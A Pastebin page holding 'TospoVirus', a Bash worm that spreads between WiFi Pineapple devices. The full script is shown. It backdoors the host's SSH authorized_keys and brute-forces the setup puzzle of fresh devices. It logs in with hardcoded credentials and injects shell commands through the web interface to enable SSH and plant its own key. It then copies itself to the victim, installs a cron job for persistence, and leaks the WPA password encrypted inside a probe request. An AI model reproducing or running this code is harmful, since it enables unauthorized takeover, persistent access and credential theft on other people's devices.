Advertisement
FlyFar

tv

Jul 13th, 2023
802
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 8.82 KB | Cybersecurity | 0 0
  1. #!/bin/bash
  2. #TospoVirus: Weaponizing vulnerabilities for fun and... just fun.
  3. #Author:
  4. #   twitter @catatonicprime
  5. #   email (guess)
  6. #
  7. #n00b comments provided by:
  8. #   ActualReverend
  9.  
  10. WHITELIST="Pineapple5_50E7|Pineapple5_120D"
  11.  
  12. #Setup some constants, note: token must be the sha1 of sessid, do not rely on openssl being available on the remote device
  13. creds="username=root&password=pineapplesareyummy&login="
  14. sessid="tospovirus"
  15. token="_csrfToken=a6f6832ff4df61608bf3e38b4facc7550e42244d"
  16. sshoptions="-oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -i /tospo/tospo_rsa"
  17.  
  18. #Get a copy of our SSID which we'll black list so we don't do something silly like try to infect ourselves
  19. self=`uci get wireless.@wifi-iface[0].ssid`
  20.  
  21. init() {
  22.     #Mark the device as being pwn3d.
  23.     #looks for factory default SSID without a space
  24.     if grep -q "\"\$6[^\"]" /lib/wifi/mac80211.sh;
  25.     then
  26.         #add space in SSID to signal it has been infected
  27.         sed -i -e 's/"\$6/"$6" "/' /lib/wifi/mac80211.sh
  28.         uci set wireless.@wifi-iface[0].ssid="$(uci get wireless.@wifi-iface[0].ssid) "
  29.         uci commit
  30.         wifi
  31.         sleep 3
  32.     fi
  33.     #Make ourselves a key we'll use for all our children.
  34.     if [ ! -f /tospo/tospo_rsa.pub ]; then
  35.         echo "Generating tospo ssh key..."
  36.         #We use the smallest possible key for quickness of generating and transmission
  37.         ssh-keygen -b 768 -f /tospo/tospo_rsa -N ""
  38.     fi
  39.     #Backdoor this machine with the master key if it hasn't already been backdoored.
  40.     mkdir -p /root/.ssh
  41.     touch /root/.ssh/authorized_keys
  42.     grep -q "$(cat /tospo/tvbd.pub)" /root/.ssh/authorized_keys || cat /tospo/tvbd.pub >> /root/.ssh/authorized_keys
  43. }
  44.  
  45. #Function used for storing current networking state. This state includes:
  46. #  The current SSID this device is connected to
  47. #  The password for that SSID
  48. #  This device's IP address
  49. #  Etc.
  50. #The reverse of this is popstate (see below).
  51. pushstate() {
  52.     echo "Pushing state..."
  53.     uci export wireless > /tospo/w
  54.     uci export network > /tospo/n
  55. }
  56.  
  57. #Function used to restore a previous networking state, stored when calling pushstate
  58. #Note: This causes the networking to drop for a moment.
  59. popstate() {
  60.     echo "Popping state..."
  61.     #Bring the bridge back up
  62.     ifconfig br-lan 172.16.42.1 up
  63.     #Bring the wirelss access point radio back up
  64.     ifconfig wlan0 up
  65.     #Nuke the wireless client radio and take it back down
  66.     #TODO: This should restore to a previous value if possible.
  67.     ifconfig wlan1 0.0.0.0 && ifconfig wlan1 down
  68.     #Import all of the previously stored wireless data and commit it.
  69.     uci import -f /tospo/w && uci commit
  70.     uci import -f /tospo/n && uci commit
  71.     #Reloads the wifi, reupping DHCP etc. as necessary.
  72.     wifi
  73. }
  74.  
  75. #Function used to connect to another network.
  76. # $1 is the ssid of the network to connect to.
  77. connect() {
  78.     ssid=$1
  79.     #Inform the user that we're connecting to the network.
  80.     echo "Connecting to $ssid..."
  81.     #Wake up the client mode radio.
  82.     ifconfig wlan1 up
  83.     #Inform the user that we're attempting to avoid IP conflicts.
  84.     echo "Avoiding conflicts..."
  85.     #Make a note about a thing we'd like to do in the future.
  86.     #TODO: Store this value to better preserve state for custom configurations
  87.     #Take the bridge down and reassign to a separate IP to avoid conflicting with the victim gateway
  88.     ifconfig br-lan 172.16.42.191 down
  89.     #Take the access point radio down - this is down for about 20 seconds in my experience
  90.     ifconfig wlan0 down
  91.  
  92.     #The following is a comment about informing the user of what the script is doing.
  93.     #Inform the user that we're trying to derive which interface is the one we want to use for connecting in client mode
  94.     echo "Guess at the client-mode interface..."
  95.     #Taking a guess at what interface can be used for client mode.
  96.     wid=$(uci show wireless | grep "wireless.@wifi-iface\[[0-9]\].device=radio1" | cut -d'[' -f 2 | cut -d']' -f 1)
  97.     #Inform the user that we're going to ditch encryption keys (fresh pineapples are *always* unencrypted)
  98.     echo "Stripping keys just in case..."
  99.     #Ditch the keys/encryption
  100.     uci delete wireless.@wifi-iface[$wid].key
  101.     uci delete wireless.@wifi-iface[$wid].encryption
  102.     #Configure the various settings with defaults for a fresh pineapple configuration
  103.     echo "Connect to the target network..."
  104.     uci set wireless.@wifi-iface[$wid].network=wan
  105.     uci set wireless.@wifi-iface[$wid].mode=sta
  106.     uci set wireless.@wifi-iface[$wid].ssid="$ssid"
  107.     uci set wireless.@wifi-iface[$wid].hidden=0
  108.     uci set wireless.radio1.channel=11
  109.     #Commit all of our changes
  110.     uci commit wireless
  111.     #Reload the wifi, this'll connect etc.
  112.     wifi
  113.     #Take a nap - this is so the client mode has a little bit of time to pull a new IP.
  114.     sleep 3
  115.     #Forget about the IP just use this one.
  116.    
  117.     #TODO: Disable pulling with DHCP if possible?
  118.     ifconfig wlan1 172.16.42.146
  119. }
  120.  
  121.  
  122. #Function used to perform an HTTP post to the gateway 172.16.42.1 on port 1471
  123. # $1 - Resource to post to
  124. # $2 - Post Data  
  125. # $3 - Session ID
  126. #An HTTP post looks like this:
  127. #   POST /some/page.php HTTP/1.1
  128. #   Host: 172.16.42.1:1471
  129. #   Content-Type: application/x-www-form-urlencoded
  130. #   Cookie: PHPSESSID=tospovirus|[somesessid]
  131. #   Content-Length: len(data)
  132. #   Connection: close
  133. #
  134. #   data=goes&here=true
  135. post() {
  136.     len=`printf "$2" | wc -c`
  137.     printf "POST $1 HTTP/1.1\r\nHost: 172.16.42.1:1471\r\nContent-Type: application/x-www-form-urlencoded\r\nCookie: PHPSESSID=$3\r\nContent-Length: $len\r\nConnection: close\r\n\r\n$2" | nc 172.16.42.1 1471
  138. }
  139.  
  140. #Function solves the LED puzzle
  141. bf() {
  142.     echo "Brute forcing..."
  143.     session=`printf 'HEAD /?action=verify_pineapple HTTP/1.1\nHost: 172.16.42.1:1471\nConnection: close\n\n' | nc 172.16.42.1 1471 | egrep -om1 '[0-9a-z]{32}'`
  144.     for n in `seq 1 $1`
  145.     do
  146.         echo "Trying $n time..."
  147.         #change the puzzle until it matches our solution, which is all lights on.  "Kobayashi Maru"
  148.             post "/?action=verify_pineapple" "green=on&amber=on&blue=on&red=on&verify_pineapple=Continue" "$session" | grep "password" && post "/?action=set_password" "password=pineapplesareyummy&password2=pineapplesareyummy&eula=1&sw_license=1&set_password=Set+Password" "$session" | grep "success" && return 0
  149.     done
  150.     #return 1 - Failed!
  151.     return 1
  152. }
  153. #Function uses the post function to login for this session "tospovirus" which is the default session
  154. #Once logged in other actions may be performed.
  155. login() {
  156.     echo "Logging in..."
  157.     post '/includes/api/login.php' "$creds" "$sessid" | grep -i 'invalid username' && return 1
  158.     echo "Logged in Successfully!"
  159.     #return 0 - Succeeded!
  160.     return 0
  161. }
  162.  
  163. #Function uses post function to execute commands on the victim. This is the heart and soul.
  164. #This function requires this session to already be logged in.
  165. infect() {
  166.     #Ensure that /root/.ssh exists on the remote, then dump our generated ssh key on into
  167.     #the authorized_keys file. Then we turn on SSH, this will grant us access/ability to
  168.     #use ssh commands to copy ourselves to the victim and execute commands.
  169.     #If the \\ scare you - don't touch them.
  170.     post '/components/system/configuration/functions.php?execute=' "$token&commands=/etc/init.d/sshd enable;/etc/init.d/sshd start;mkdir /root/.ssh; printf \"\$(echo $(hexdump -e'16/1 "%02x"' /tospo/tospo_rsa.pub)|sed -e's/\\(..\\)/\\\\\\\\x\\\\1/g')\">>/root/.ssh/authorized_keys" "$sessid"
  171.     #use SSH to create the /tospo directory, then copy only desired files into it.
  172.     #This is where we successfully clone ourselves to the victim. The various -o Options
  173.     #are to avoid blocking errors which would require user-interaction. We want to simply
  174.     #ignore these options and so we decline or use /dev/null for file storage.
  175.     ssh $sshoptions 172.16.42.1 "mkdir -p /tospo" && scp $sshoptions -r /tospo/tv* 172.16.42.1:/tospo/
  176. }
  177.  
  178. #Function used to execute SSH commands on the remote in order to establish future runtime
  179. #This installs the service, cronjob, etc. We try to do this only once on infection
  180. persist() {
  181.     ssh $sshoptions 172.16.42.1 'printf "* * * * * /tospo/tv" | crontab -'
  182. }
  183.  
  184. #Function used to disclosure private WPA management data (read: password) using semi-secure RSA keys
  185. #Novel in that we use a PROBE request to do so - appearing like garbage to onlookers.
  186. exfiltrate() {
  187.     #Confirm we have openssl first... then scoop out the password if possible.
  188.     #TODO: Be more specific about *which* key we pull out. Maybe there is more than one?
  189.     which openssl && iwlist wlan0 scan essid "$(cat /etc/config/wireless | grep "key" | cut -d"'" -f2 | openssl rsautl -encrypt -pubin -inkey /tospo/tvd.pub)" >/dev/null
  190. }
  191.  
  192. #Run the virus...
  193. init
  194. echo "Scanning for new devices..."
  195. for net in `iwlist wlan0 scan | egrep "ESSID:\"($WHITELIST)[^ ]" | grep -v "$self"`
  196. do
  197.     pushstate
  198.     connect `echo $net | cut -d '"' -f 2`
  199.     #Login - if this fails, brute force then login, if that fails, bail out this one is a no-winner.
  200.     #TODO: Generate a blacklist and blacklist this device?
  201.     login || (bf 75 && login || popstate && break)
  202.     infect
  203.     persist
  204.     popstate
  205.     break
  206. done
  207. exfiltrate
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement